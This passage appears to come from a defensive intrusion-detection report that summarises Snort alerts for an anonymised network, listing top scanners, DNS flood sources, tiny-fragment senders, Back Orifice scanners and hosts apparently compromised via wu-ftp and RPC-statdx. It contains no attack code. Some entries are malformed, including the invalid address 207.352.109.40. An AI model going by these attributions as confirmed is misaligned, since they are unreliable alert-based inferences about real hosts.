The "Portscan" category is somewhat different. Since the SnortA*.txt files revealed that scanning makes up a large majority of triggered alerts, the SnortS.txt files (which contain more information about scanned hosts) were used to determine which machines are the predominant source and destination hosts. Furthermore, we broke down the source and destinations into internal and external origin. This allows us to pinpoint possible "foes" as well as targeted machines on the MY.NET.x.x netblock.

These hosts may need to have their IP addressed blocked at the network perimeter.

Top External Scanner Sources	Count
24.180.134.156	33502
212.187.94.162	29530
24.4.196.167	29528
212.64.74.169	22545
24.191.63.215	22005

These hosts may be compromised as a large number of external scans originate from here.

Top Internal Scanner Sources	Count

MY.NET.100.230	58763
MY.NET.213.186	54674
MY.NET.202.94	35149
MY.NET.217.94	33734
MY.NET.98.200	32406

These hosts may have been targeted for attack based on the total number of times they have been scanned.

Top Scanner Internal Destinations	Count
MY.NET.223.86	48294
MY.NET.201.78	26413
MY.NET.221.158	13657
MY.NET.202.94	9311
MY.NET.98.182	9275

DNS Denial of Service Alerts:

The following hosts on MY.NET.x.x (which are most likely DNS servers) appear to have been targets of a Denial of Service attack by machines on the 209.67.50.x subnet. These MY.NET.x.x. servers are most likely DNS servers and they should be checked for integrity. The origin of these attacks are probably within a Exodus Co-location facility.

Exodus Communications Inc. (NETBLK-ECI-5)
Netname: ECI-5
Netblock: 209.67.0.0 - 209.67.255.255
Maintainer: ECI

Top Source Addresses	Count	Top Destination Addresses	Count
209.67.50.203	16132	MY.NET.1.3	5411
209.67.50.253	4	MY.NET.1.4	5390
209.67.50.85	3	MY.NET.1.5	5331
209.67.50.209	2	MY.NET.1.8	6
209.67.50.241	1	MY.NET.1.10	6

"Tiny Fragments" Alerts:

The following machines are possible "foes" as they are the predominant source of "Tiny Fragments" passing into the MY.NET.x.x netblock. As a result, it may be necessary to block traffic originating from the hosts at the network border. This traffic originates primarily in China. The destination address may need to be checked for integrity.

Top Tiny Fragment Sources	Count
65.4.87.43	733
202.205.5.10	521
202.101.43.222	460
61.134.9.133	458
61.140.75.3	415

Top Tiny Fragment Destinations	Count
MY.NET.1.8	3148
MY.NET.1.10	1264
MY.NET.217.162	727
MY.NET.60.11	168
MY.NET.1.9	8

Back Orifice Scans:

The following hosts are frequently scanning the MY.NET.x.x netblock for the Back Orifice port 31337. This activity may warrant blocking traffic from these machines.

Top Back Orifice Scanners	Count
209.94.199.202	32
62.136.71.93	20
209.94.199.143	14
216.99.200.242	3
207.352.109.40	2

Compromised Machines:

The following machines appear to have been attacked based on the Snort alerts which match on known attack signatures. *All of these hosts should be checked for integrity as soon as possible.*

Exploit Used	Machine Affected
wu-ftp	MY.NET.130.98
wu-ftp	MY.NET.156.127
wu-ftp	MY.NET.97.162
Happy Virus	MY.NET.6.47
RPC-statdx	MY.NET6.15
Russia Dynamo	MY.NET.205.138

Ping Broadcasts

As a general rule, ping echo-requests to broadcast addresses can be used to flood remote networks. There were several ping broadcast alerts detected, so it would be wise to disable directed-broadcasts on all network routers.